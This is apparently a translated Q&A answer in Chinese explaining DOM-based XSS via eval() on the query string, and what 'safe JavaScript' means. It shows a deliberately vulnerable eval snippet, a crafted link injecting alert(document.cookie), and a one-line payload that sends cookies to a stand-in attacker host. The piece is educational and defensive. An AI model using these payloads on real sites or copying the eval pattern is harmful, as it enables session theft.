任何恶意用户都可以打开Chrome调试器,修改正在执行的Javascript代码。因此,他可以放置自己的函数等待执行。
是的,用户可以使用开发者工具通过JavaScript“攻击”其自己的客户端会话。
但是,eval和开发者工具之间的区别在于eval可能会在可共享的链接中执行某些操作。攻击者可以向受害者发送一个链接,该链接利用了代码评估功能。
采用以下代码:
<script>
eval('alert("Your query string was ' + unescape(document.location.search) + '");');
</script>
现在,如果查询字符串是
?foo
,您将收到一个提示对话框,其中显示以下内容:
Your query string was ?foo
现在假设Chuck给Bob发送了一封主题为“看看这个好链接!”的电子邮件。
链接的构造方式如下:
http://www.example.com/page.htm?hello%22);alert(document.cookie+%22
,其中www.example.com是您的网站。
这修改了由
eval()
执行的代码。
alert("Your query string was hello");
alert(document.cookie+"");
(为了更好的表达,我添加了一些换行符)。这将显示一个警告框,其中包含所有非httpOnly cookie。
如果攻击者进一步操作,他们可以构造一个图像链接,将会话cookie发送给自己。
new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)
这被称为
跨站脚本攻击(XSS)。实际上,这是一种DOM型XSS攻击。
通常情况下有“安全的JavaScript代码”吗?
是的,防止XSS攻击的代码可以被视为“安全的JavaScript代码”,它保护当前用户免受跨域攻击。然而,服务器端代码如果“信任”当前最终用户不会使用开发工具修改JavaScript代码或变量以获取自己的利益,则不是安全的。
因此,安全的JavaScript代码只是能够保护当前用户的代码。
eval
,那么恶意代码可以在任何用户的计算机上运行。 - VLAZ